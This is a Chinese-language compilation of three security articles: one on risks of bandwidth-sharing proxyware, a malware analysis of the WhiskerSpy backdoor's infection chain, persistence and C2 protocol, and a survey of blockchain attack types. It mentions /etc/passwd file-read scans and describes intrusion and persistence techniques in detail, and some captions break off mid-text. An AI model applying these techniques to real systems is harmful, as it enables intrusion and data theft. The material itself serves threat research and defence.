在大多數情況下,應用程序發布者可能不會對使用其代理服務的第三方的可疑或惡意活動承擔法律責任。然而,那些安裝了“網絡帶寬共享”應用程序的人無法控制甚至監控通過其出口節點的流量類型。因此,這些網絡共享應用程序被歸類為風險程序應用程序,我們稱之為proxyware。 proxyware的可疑活動上表概述了我們觀察到的惡意和可疑活動,本節將進一步詳細介紹這些活動。 我們觀察到多個自動訪問第三方SMS PVA提供商的實例。什麼是SMS PVA服務?我們寫了一篇關於SMS PVA服務以及它們經常被錯誤使用的博客。 SMS PVA 服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務,SMS PVA 用戶可以精確地註冊國家一級的賬戶,因此可以使用假裝來自目標國家的虛假賬戶發起活動。簡而言之,這些服務通常用於在線服務中的批量註冊帳戶。為什麼人們經常將它們與代理結合使用?這些帳戶通常綁定到特定的地理位置或地區,並且該位置或地區必須與註冊過程中使用的電話號碼相匹配。因此,SMS PVA服務的用戶希望他們的出口IP地址與號碼的位置相匹配,並且有時使用特定的服務(在服務僅在特定區域可訪問的情況下)。 這些大量註冊的賬戶(由住宅代理和SMS PVA服務提供幫助)通常被用於各種可疑的操作:針對個人用戶的社會工程和欺詐,以及濫用各種在線業務的註冊和促銷活動,可能導致數千美元的經濟損失。 潛在的點擊欺詐是我們從這些網絡中觀察到的另一種類型的活動。做點擊欺詐或靜默廣告網站,就是利用裝有“被動收入”程序的電腦作為出口節點,在後台“點擊”廣告。廣告商必須為無效點擊付費(沒有人真正看到廣告),網絡流量看起來幾乎與普通用戶在家點擊廣告相同。 SQL注入是一種常見的安全掃描,它試圖利用用戶輸入驗證漏洞來轉儲、刪除或修改數據庫內容。有許多工具可以自動執行此任務。然而,在許多國家,未經適當授權進行安全掃描和未經網站所有者書面許可進行SQL注入掃描都是犯罪活動,可能會被起訴。我們觀察到許多試圖從許多“被動收入”程序中探測SQL注入漏洞的嘗試。這種流量是有風險的,分享他們的連接的用戶可能會被捲入法律調查。 我們觀察到的另一組具有類似風險的類似活動是工具掃描。這些掃描試圖利用各種漏洞訪問/etc/passwd文件,如果成功,則表明系統易受任意文件暴露的攻擊,並允許攻擊者獲取服務器上的密碼文件。黑客利用此類程序漏洞從易受攻擊的網站檢索任意文件。不用說,在沒有服務器所有者的書面許可的情況下進行此類活動是非法的。 爬取政府網站可能根本不違法,通常存在一些合理使用條款,要求用戶不要同時提出過多的查詢,許多網站通過使用驗證碼服務來使用技術手段來防止大量爬行。我們觀察到使用反驗證碼工具的自動化工具在試圖訪問政府網站時繞過這些限制。我們也見過從律師事務所和法院網站抓取法律文件的爬蟲程序。 對個人身份信息(PII)的抓取在所有國家都可能是非法的,但這種行為值得懷疑,因為我們不知道這些信息後來會被濫用。在研究中,我們看到一個可疑的爬蟲大量下載巴西公民的信息。這些信息包括姓名、出生日期、性別和CPF(相當於國家SSN)。顯然,如果對此類活動進行調查,“被動收入”程序用戶將是第一個接觸點,因為登錄這些網站的將是他們的IP地址。 註冊了大量社交媒體賬號的人可以將其用於多種用途,例如網絡垃圾郵件、詐騙活動以及傳播錯誤信息和宣傳假新聞的木馬。此類賬戶也經常被用來對商品和服務進行虛假評價。在收集的流量中,我們看到TikTok賬戶註冊了非常規電子郵件地址。儘管這本身並不違法,但安裝了“被動收入”程序的用戶可能會被要求證明自己的身份,或者在正常瀏覽活動中通過更多的“驗證你是人類”測試。這是因為有太多來自其家庭IP的註冊帳戶,他們可能被誤認為與這些活動有關聯。 如果你認為這些例子沒有說服力,那麼在2017年,一名俄羅斯公民被逮捕並被指控恐怖主義。此人正在運行Tor出口節點,有人利用它在反政府抗議期間發布支持暴力的信息。 Proxyware類似於Tor出口節點,因為兩者都將流量從一個用戶引導到另一個用戶。這個例子說明瞭如果你不知道使用你的計算機作為出口節點的人在做什麼,你會給自己帶來多大的麻煩。 其他未經用戶同意運行的proxyware變體在研究過程中,我們還發現了一組多餘的應用程序,它們是作為自由程序工具分發的。然而,在我們看來,這些應用程序正在秘密地將用戶的設備轉變為代理節點。這些應用程序似乎在設備上安裝了Proxyware功能,比如Globalhop SDK,但沒有明確通知用戶他們的設備將被用作被動出口節點。一些最終用戶許可協議(EULA)文件可能會明確提到包含Globalhop SDK或應用程序的出口節點功能,而其他文件則沒有。但是,在我們看來,僅在eula(很少有用戶會閱讀的文件)中包含通知並不能向用戶提供公平的通知,即安裝應用程序將導致未知第三方使用他們的設備作為出口節點。 剪貼板管理器的EULA告訴用戶它包含具有“代理利用功能”的SDK,並且用戶同意“共享部分互聯網”。 無論哪種情況,此類程序仍然會給用戶帶來風險,“被動收入”只會支付給應用程序開發者。程序用戶只能享受免費程序本身而沒有“被動收入”。此類程序的例子包括: Walliant——一款自動壁紙更換程序; Decacopy剪貼板管理程序——一個用於存儲用戶最近複製粘貼的內容的程序; EasyAsVPN——通常由欺騙用戶安裝的額外程序; Taskbar System——一個改變任務欄顏色的應用程序; Relevant Knowledge——廣告程序; RestMinder——一個提醒用戶休息的鬧鐘程序; Viewndow——固定選定應用程序窗口的程序; Saferternet——基於DNS的網絡過濾程序。 這些代理網絡產生的網絡流量類似於“被動收入”程序產生的流量,因為這兩種類型的程序都是其提供商的出口節點。我們觀察到以下惡意/有爭議的活動。 總結我們在本文中介紹了藉著“網絡帶寬共享”的幌子實施“被動收入”程序如何使用其安裝基地的住宅IP作為出口節點,以及惡意和可疑網絡流量可能給用戶帶來的風險。 通過允許匿名人員將你的計算機用作出口節點,如果他們執行非法、濫用或與攻擊相關的操作,你將承擔最大的風險。這就是為什麼我們不建議參加這樣的計劃。 “被動收入”提供商可能製定了某些自我約束的政策,但我們沒有看到任何證據表明這些提供商對路由到出口節點的流量進行監管。如果他們這樣做了,那麼我們看到的非常明顯的SQL注入流量應該已經被過濾掉了。如果這些提供商希望改進其策略,我們建議他們更加坦率地向程序用戶表明,因為他們沒權利控制其客戶的行為。 有一些措施可以確保攻擊和濫用受到限制,例如嚴格執行流量掃描、證書測試和其他技術,但執行這些策略是關鍵。我們就這些問題聯繫過的一些應用發行商回應稱,他們通過應用合作夥伴的KYC (know-your-customer)實踐來保護用戶。這提供了一些保護,防止濫用作為出口節點的設備,然而,這些政策可以被偽造,或者客戶可以找到規避它們的方法。 總而言之,這些應用程序的潛在用戶,特別是在proxyware服務的當前實現下,需要意識到他們正在將自己暴露在未知的風險中,以換取不確定和可能不穩定的潛在“被動收入”。以下是一些防範上述風險的安全措施: 1.了解“被動收入”程序的風險,並考慮將其從筆記本電腦、台式機和移動設備中刪除。 2.建議公司IT員工檢查並刪除公司計算機中的“被動收入”程序。 3.安裝專業保護套件,因為這些產品已將本文中列出的應用程序列為Riskware。這些產品還阻止“被動收入”應用程序下載惡意應用程序。
  24. 趨勢科技研究人員最近發現了一個新的後門,他們將其歸因於之前報導過的被稱為Earth Kitsune的攻擊者。自2019年以來,“Earth Kitsune”一直在向主要對朝鮮感興趣的個人傳播自主開發的後門變體。在我們過去調查的許多示例中,攻擊者通過使用了水坑攻擊策略,攻擊與朝鮮有關的網站,並將瀏覽器漏洞注入其中。在分析的最新活動中,Earth Kitsune使用了類似的策略,但沒有使用瀏覽器漏洞,而是使用了社會工程。 在2022年底,研究人員發現一個親朝組織的網站被入侵和修改,以傳播惡意軟件。當目標訪問者試圖在網站上觀看視頻時,攻擊者註入的惡意腳本會顯示一條消息提示,通知受害者視頻編解碼器錯誤,以誘使他們下載並安裝木馬編解碼器安裝程序。安裝程序經過修復,加載了一個以前看不見的後門,我們稱之為“WhiskerSpy”。此外,我們還發現攻擊者採用了一種有趣的持久性技術,濫用了Google Chrome的本地消息主機。 WhiskerSpy感染鏈 在這篇文章中,我們將揭示Earth Kitsune所使用的WhiskerSpy後門的感染鍊和技術細節。 在2022年底,我們注意到一個親朝網站在他們的視頻頁面中註入了惡意腳本。該腳本顯示了一個帶有虛假錯誤消息的彈出窗口,旨在誘使受害者安裝偽裝成高級視頻編解碼器AVC1的惡意包。 一個被攻破的親朝網站的社會工程示例 這些網頁被配置為只向目標IP地址列表中的訪問者發送惡意腳本(沒有這些IP地址的訪問者不會收到惡意負載)。這種配置使得攻擊難以被發現。幸運的是,我們設法在攻擊者的服務器上找到了一個文本文件,其中包含與目標IP地址匹配的正則表達式。其中包括: 位於中國瀋陽的IP地址子網; 一個位於日本名古屋的特定IP地址; 位於巴西的IP地址子網; 瀋陽和名古屋的IP地址很可能是他們的真正目標。然而,我們發現巴西的目標IP地址大多屬於一個商業VPN服務。我們認為,攻擊者使用此VPN服務來測試其水坑攻擊的部署。它還為我們提供了一個驗證水坑攻擊的機會,通過使用相同的VPN服務來成功接收惡意腳本。 原始頁面(左側)和帶有註入腳本的頁面(右側)之間的網頁內容比較 該網站加載帶有以下重定向代碼的惡意JavaScript(popup.js): 嵌入式JavaScript重定向到惡意安裝程序下載 修復安裝程序安裝程序文件是一個MSI安裝程序,它封裝了另一個NSIS安裝程序。攻擊者濫用了合法的安裝程序(windows.10.codec.pack.v2.1.8.setup.exe - e82e1fb775a0181686ad0d345455451c87033cafde3bd84512b6e617ace3338e),並將其修復為包含惡意shellcode。該補丁包括增加的部分數量,從5個增加到6個(圖5中的紅色括號),並增加圖像大小,為惡意shellcode創建額外的空間(圖5中的綠色括號)。 原始(上)和修復(下)安裝程序,在修復版本中某些參數的大小會增加 在修復的安裝程序中新添加了.odata部分 修復後的安裝程序的入口點被更改為立即跳轉到shellcode。 shellcode使用簡單密鑰(XOR0x01)加密。 修復後的安裝程序的入口點跳轉到.odata部分的代碼中 解密後,shellcode運行幾個PowerShell命令來下載惡意軟件的其他階段。這些文件都是可執行文件,從一開始就有幾百個字節,使用單字節密鑰進行異或。 .odata部分中的Shellcode調用幾個PowerShell命令來下載其他加載器 然後,它恢復原始入口點(總共15個字節),以確保原始安裝程序按預期運行。 .odata部分中的Shellcode恢復安裝程序的原始入口點 下載的二進製文件:加載器通過OneDrive持久化的路徑(Icon.jpg)這包含路徑\microsoft\onedrive\vcruntime140.dll,這是另一個下載文件(bg.jpg)以vcruntime140.dll的名稱釋放的位置。 持久性和加載器濫用OneDrive側加載漏洞(Bg.jpg)這是vcruntime140.dll (Microsoft C Runtime庫)的修復版本。在本例中,函數memset被修復。從函數(retn)返回的值被一個跳轉到覆蓋(在新添加的.onda部分中)所取代,其中註入的代碼從覆蓋中讀取字節,用一個單字節的密鑰對它們進行異或處理,並將嵌入的有效負載注入到werfautl.exe進程中。覆蓋層中的shellcode是主後門的加載器。 原始memset函數,注意地址0x18000C7D1處的指令返回(retn) 修復的memset函數,注意,地址0x18000C7D1的指令是跳轉(jmp),以覆蓋shellcode 該文件被放置在%LOCALAPPDATA%\microsoft\onedrive\目錄中,這是onedrive應用程序的默認用戶安裝位置。此前有報導稱,攻擊者利用OneDrive側加載漏洞,將虛假dll放置到該OneDrive目錄中,以實現在受攻擊計算機中的持久性。 持久性和加載程序使用惡意Google Chrome擴展(Favicon.jpg)這是一個安裝包,包含installer.exe(一個Google Chrome擴展安裝程序)、NativeApp.exe(一個本地消息主機)和Chrome擴展文件(background.js、manifest.json和icon.png)。 NativeApp.exe是一個本地消息主機,使用標準輸入(stdin)和標準輸出(stdout)與Chrome擴展通信。注意擴展清單中的type=' stdio '。 擴展清單,請注意擴展ID (allowed_origins)路徑導致被釋放的可執行文件和type=標準輸入/輸出 在Google Chrome擴展選項卡中查看的惡意擴展 Background.js擴展腳本向onStartup消息添加一個監聽器。該偵聽器將“inject”命令發送到本機消息傳遞主機,有效地充當某種獨特的持久性方法,因為惡意有效負載在每次Chrome瀏覽器啟動時都會執行。 onStartup事件的處理程序(Chrome瀏覽器的啟動) NativeApp使用JSON格式的消息與Chrome擴展交換數據,並實現三個命令:execute、load和inject。 消息的格式如下:xx xx xx xx {“cmd”:””,”data”:””},其中xx xx xx xx是以字節為單位的消息長度。 “cmd”項必須包含一個已實現的命令值(execute、load和inject),而“data”項可能包含其他參數,如路徑和要執行的程序。 以下是有效JSON消息的示例: 注意,每個消息的前面必須有一個4字節的小端序長度值。傳遞不可打印字符(0x00,如下圖所示)可以通過使用PowerShell及其Get-Content cmdlet和-raw參數實現,然後通過管道“|”將該內容重定向到NativeApp。如果cmd.bin文件包含如下圖所示的相同內容,NativeApp.exe將運行notepad.exe。 指示執行notepad.exe的消息,第一個DWORD0x0000003f是以下JSON消息的長度 在當前實現中,inject命令沒有參數。相反,它連接到硬編碼的URL地址http:// 主後門加載器(Help.jpg) 這是一個shellcode,加載另一個嵌入式可執行文件——我們命名為WhiskerSpy的主後門負載。 主有效載荷:WhiskerSpy WhiskerSpy使用橢圓曲線密碼(ECC)在客戶端和服務器之間交換加密密鑰。以下是已實現的後門命令: 交互式shell; 下載文件; 上傳文件; 刪除文件; 列表文件; 截圖; 加載可執行文件並調用其導出; 向進程中註入shellcode; 設備ID被計算為位於系統管理生物系統(SMBIOS)的系統信息表中的16字節UUID的32位Fowler-Noll-Vo 哈希(FNV-1)。有關UUID值的更多詳細信息,請參閱SMBIOS規範第33頁。使用參數“RSMB”調用函數GetSystemFirmwareTable以檢索原始SMBIOS表,然後對其進行解析以定位16字節UUID,該UUID已計算其FNV-1哈希。 對於與命令和控制(CC)服務器的通信,後門生成一個隨機的16字節AES密鑰。它根據該密鑰計算會話ID,作為32位Murmur3哈希。 如上所述,後門使用橢圓曲線密碼(ECC)。我們可以從“.data”部分中存儲的硬編碼值確定橢圓曲線域參數。在下圖中,你可以看到素數(p,黃色)、第一個係數a(紅色)、第二個係數b(綠色)、生成器(基點,藍色)和輔因子(h,橙色)。了解這些參數有助於我們確定“secp256r1”是所使用的曲線,因為我們可以看到列出的大多數常用橢圓曲線的所有重要常數,例如在tinyec項目中。 “secp256r1”曲線的硬編碼參數 上圖還顯示了一個值(棕色),它表示硬編碼服務器的公鑰。 然後進行一系列計算(橢圓曲線Diffie–Hellman或ECDH密鑰交換): 生成隨機32字節客戶端私鑰(clientPrivKey); 通過將客戶端私鑰乘以曲線生成器來計算客戶端公鑰(clientPubKey=clientPrivKey * curve.g); 通過將客戶端私鑰乘以服務器公鑰來計算sharedKey(sharedKey=clientPrivKey * serverPubKey); 這些計算的結果作為一個64字節二進制blob上傳到CC服務器,其中前32個字節是客戶端公鑰的x坐標,因為常用的共享函數f(P)是取點P的x坐標。後32個字節來自一個隨機的16字節AES密鑰。 CC通信首先註冊設備ID(函數號=3;POST請求“l 註冊新計算機 隨後上傳帶有客戶端公鑰的x坐標和加密的AES密鑰的64字節文件(函數號=1;POST請求:l 註冊一個新的會話密鑰並上傳 然後,WhiskerSpy定期向CC服務器請求其應執行的任何任務(函數號=2;POST請求“h WhiskerSpy請求執行任務 接收的數據包(文件h 特殊類型的消息 WhiskerSpy實現標準函數。在分析代碼時,我們注意到一些用於報告任務狀態的狀態代碼,其中接收到的消息的第一個字(兩個字節)是命令ID。注意,在命令包的情況下,所有命令的魔法值都相同,它位於命令ID之前,不顯示在表2中。在活動數據包的情況下,magic值的第一個單詞(2字節)用作命令ID,因此可以在表中找到0x70D值。 WhiskerSpy的後門命令 類似的後門老版本的WhiskerSpy是32位可執行文件,只實現前面提到的函數的子集(1-5,8,0x70D是相同的,6=退出進程;7=將文件釋放到temp並執行),其餘的函數都不存在。 通信不是通過HTTP協議,而是通過FTP協議。這意味著FTP名稱和密碼必須硬編碼為二進製文件才能進行通信。此方法將當前的受害者數量洩漏為l<machineID><sessionID>和h<machineID<文件,這意味著,任何知道登錄憑據的人都可以看到這些文件。 FTP版本的後門還會檢查調試器是否存在。如果存在,狀態代碼“HELO”將發送到CC服務器。 通過跟踪分析,研究人員將這次攻擊歸咎於Earth Kitsune。在與朝鮮相關的網站上註入惡意腳本,顯示出與該組織以前的活動相似的攻擊手法和受害特徵。此外,在這次攻擊中使用的WhiskerSpy的傳播服務器和CC服務器與我們之前對Earth Kitsune的研究有兩個基礎設施重疊。第一個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]]org和Earth Kitsune的域名rs[.]myftp[.]45[.]76[.]62[.]198。第二個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]org和updategoogle[.]servehttp[.]com,加上傳播服務器microsoftware[.]sytes[.]net的域都解析為172[.]93[.]201[.]172。該IP地址也從Earth Kitsune的agfSpy後門使用的域selectorioi[.]ddns[.]net映射而來。 基礎設施與Earth Kitsune重疊 總結從技術角度來看,這種威脅非常有趣。它修復合法安裝程序以隱藏其活動,使用鮮為人知的哈希算法來計算計算機ID和會話ID,並使用ECC來保護加密密鑰。此外,所提出的持久性方法也是相當獨特和罕見的。這表明Earth Kitsune不斷在發展他們攻擊能力。
  25. 區塊鏈攻擊向量:最安全技術的漏洞(上) 3. 智能合約攻擊Apriorit 擁有從事智能合約開發和區塊鏈測試的團隊。我們已經積累了豐富的基於以太坊、EOS、NEO平台的智能合約漏洞分析和規避經驗。與智能合約相關的主要區塊鏈安全問題涉及源代碼、網絡虛擬機、智能合約運行時環境以及區塊鏈本身中的錯誤。讓我們看看這些攻擊向量中的每一個。 合約源代碼漏洞如果智能合約的源代碼存在漏洞,就會對簽署合約的各方構成風險。例如,2016 年以太坊合約中發現的錯誤使其所有者損失了8000 萬美元。 Solidity 中的一個常見漏洞提供了一種可能性,可以將控制權委託給其他智能合約中不受信任的功能,稱為重入攻擊。在此攻擊期間,合約A 從合約B 調用具有未定義行為的函數。反過來,合約B 可以調用合約A 的函數並將其用於惡意目的。 虛擬機中的漏洞以太坊虛擬機(EVM) 是一種基於分佈式堆棧的計算機,其中執行基於以太坊的區塊鏈的所有智能合約。 EVM 最常見的漏洞如下: 不可變缺陷——區塊鏈塊本質上是不可變的,這意味著智能合約一旦創建,就無法更改。但是,如果智能合約在其代碼中包含任何錯誤,它們也無法修復。網絡犯罪分子有可能發現並利用代碼漏洞來竊取Ether 或創建新的分叉,就像DAO 攻擊一樣。 加密貨幣在轉移過程中丟失——如果以太幣被轉移到一個沒有任何所有者或合同的孤立地址,這是可能的。 訪問控制中的錯誤——以太坊智能合約中存在一個遺漏修改器錯誤,允許黑客訪問合約中的敏感功能。 短地址攻擊——這是可能的,因為EVM 可以接受錯誤填充的參數。黑客可以通過向潛在受害者發送特製地址來利用此漏洞。例如,在2017 年對Coindash ICO 的一次成功攻擊中,對Coindash 以太坊地址的修改使受害者將他們的以太幣發送到黑客的地址。 此外,黑客可以通過應用其他典型的破壞區塊鏈技術的方法來破壞智能合約,包括DDoS、eclipse 和各種低級別攻擊。 然而,Cardano 和Zilliqa 等較年輕的區塊鏈使用不同的虛擬機:IELE、KEVM 等。這些新的區塊鏈聲稱在其協議中保證智能合約的安全性。 4.交易驗證機制攻擊與金融機構不同,區塊鏈只有在網絡中的所有節點都達成一致後才能確認交易。在包含交易的區塊被驗證之前,該交易被歸類為未驗證。然而,驗證需要一定的時間,這為網絡攻擊創造了一個完美的載體。 雙花是一種利用交易驗證機制的常見區塊鏈攻擊。區塊鏈上的所有交易都需要用戶驗證才能被確認為有效,這需要時間。攻擊者可以利用這種延遲來獲得優勢,並誘使系統在多個交易中使用相同的硬幣或代幣。 圖2. 雙花攻擊 以下是基於利用交易發起和確認之間的中間時間的最常見攻擊類型。 芬尼襲擊當一筆交易被預挖到一個區塊中,並且在該預挖區塊被釋放到網絡之前創建了一個相同的交易,從而使第二個相同的交易無效時,Finney 攻擊是可能的。 種族攻擊當攻擊者創建兩個相互衝突的交易時,就會執行競態攻擊。第一筆交易被發送給受害者,受害者無需等待交易確認即可接受付款(例如發送產品)。同時,將向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡,最終使第一筆交易無效。 矢量76Vector76 是之前兩次攻擊的組合。在這種情況下,惡意礦工創建兩個節點,其中一個僅連接到交換節點,另一個連接到區塊鍊網絡中連接良好的對等節點。之後,礦工創建兩筆交易,一筆高價值和一筆低價值。然後,攻擊者預挖並從交換服務中扣留一個包含高價值交易的區塊。在區塊公告之後,攻擊者迅速將預挖區塊直接發送到交易所服務。它與一些礦工一起將預挖區塊視為主鏈並確認此交易。因此,這種攻擊利用了這樣一個事實,即網絡的一部分看到攻擊者已包含在塊中的交易,而網絡的另一部分看不到該交易。 交易所服務確認大額交易後,攻擊者向主網發送小額交易,主網最終拒絕大額交易。結果,攻擊者的賬戶被記入了高價值交易的金額。儘管這種類型的攻擊成功的可能性很高,但它並不常見,因為它需要一個託管的電子錢包,該電子錢包在一次確認後接受付款,並需要一個節點來處理傳入的交易。 替代歷史攻擊另一種歷史攻擊——也稱為區塊鏈重組攻擊——即使在多次確認的情況下也可能發生,但需要黑客提供大量的計算能力。在這種情況下,惡意用戶向收件人發送交易,同時使用返回相同代幣的另一筆交易挖掘替代分叉。例如,即使接收方在n 次確認後認為交易有效並發送產品,如果攻擊者釋放更長的鏈並取回硬幣,接收方也可能會損失金錢。 最新的一次區塊鏈重組攻擊發生在2020 年8 月的Ethereum Classic上,當時一名礦工使用舊軟件並在挖礦時暫時無法訪問互聯網。當兩個版本的區塊鏈競爭網絡中節點的有效性並導致插入大約3000 個區塊時,重組就發生了。 51% 或多數攻擊當黑客控制了51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時,多數攻擊是可能的。這種攻擊最初是唯一已知的區塊鏈漏洞,在不久的過去似乎不切實際。然而,至少有五種加密貨幣——Verge 、 ZenCash、Monacoin、Bitcoin Gold 和Litecoin Cash——已經遭受了51% 的攻擊。在每一種情況下,網絡罪犯都收集了足夠的哈希算力來破壞網絡並賺取數百萬美元。 最近在2020 年8 月發生的對以太坊經典(ETC) 的51% 攻擊導致價值約560 萬美元的ETC 加密貨幣被雙花。顯然,黑客非常了解ETC 協議,並在四天內設法挖掘了4,280 個區塊,直到平台發現攻擊。事件發生僅五天后,ETC 就遭遇了第二次51% 攻擊,其中一名礦工進行了4000 個區塊的網絡重組。 圖3. 多數攻擊 不幸的是,所有小型加密貨幣仍面臨多數攻擊的風險。由於這些加密貨幣吸引的礦工較少,攻擊者只需租用計算能力即可獲得網絡的大部分份額。 Crypto51的開發人員試圖提醒人們注意破解較小加密貨幣的潛在風險。他們的網站顯示了對各種區塊鏈進行51% 攻擊的預期成本。 防止雙花攻擊的可能措施包括在監聽期間監控收到的交易、轉發雙花嘗試、插入其他節點以觀察交易以及拒絕直接傳入連接。 此外,還有一項稱為閃電網絡的創新技術,旨在解決交易驗證機制中的漏洞利用問題。該網絡允許用戶通過雙向支付渠道網絡即時驗證交易,而無需委託資金保管。但是,它仍然容易受到DDoS 攻擊,其中一次已經發生在2018 年3 月。 5、礦池攻擊對於像比特幣這樣的主要加密貨幣,個體礦工已經不可能賺取利潤,因此礦工通過創建礦池來統一他們的算力。這使他們能夠開採更多的區塊,並且每個人都能獲得一份獎勵。目前,最大的比特幣礦池是BTC.com、AntPool 和ViaBTC。根據Blockchain.com 的數據,它們加起來佔比特幣網絡總哈希率的52% 以上。 礦池是一個不錯的目標。惡意礦工試圖通過利用區塊鏈共識機制中常見的Web 應用程序漏洞來控制內部和外部的礦池。 以下是對礦池最常見的攻擊。 自私挖礦自私挖礦是指惡意礦工試圖通過在一段時間內不向網絡廣播挖出的區塊然後一次釋放幾個區塊,使其他礦工失去他們的區塊來增加他們的獎勵份額。防止此類攻擊的可能措施是將礦工隨機分配到礦池的各個分支,優先選擇時間戳較新的區塊,並在最大可接受時間內生成區塊。這種類型的攻擊也稱為塊扣留。 圖4. 自私挖礦攻擊 由於2014 年對Eligius礦池的自私挖礦攻擊,礦工損失了300 BTC。自私挖礦有很高的成功機會,並且可能發生在所有加密貨幣上。針對自私挖礦的可能預防措施包括只註冊受信任的礦工,並對現有的比特幣協議進行更改以隱藏部分工作量證明和完整工作量證明之間的差異。 預扣後分叉預扣後分叉(FAW) 是自私挖礦的一種變體,事實證明它對攻擊者更有利可圖。在FAW 攻擊期間,惡意礦工隱藏一個獲勝的區塊,然後丟棄它或稍後釋放它以創建一個分叉,具體取決於情況。由Ujin Kwon 領導的一組研究人員明確描述了這種攻擊的概念。 結論儘管區塊鏈的受歡迎程度仍在上升,但越來越多的針對區塊鏈的網絡攻擊可能對其聲譽產生負面影響。了解最常見的區塊鏈漏洞和攻擊類型對於關注區塊鏈安全並想知道首先要保護什麼的每個人來說都是必須的。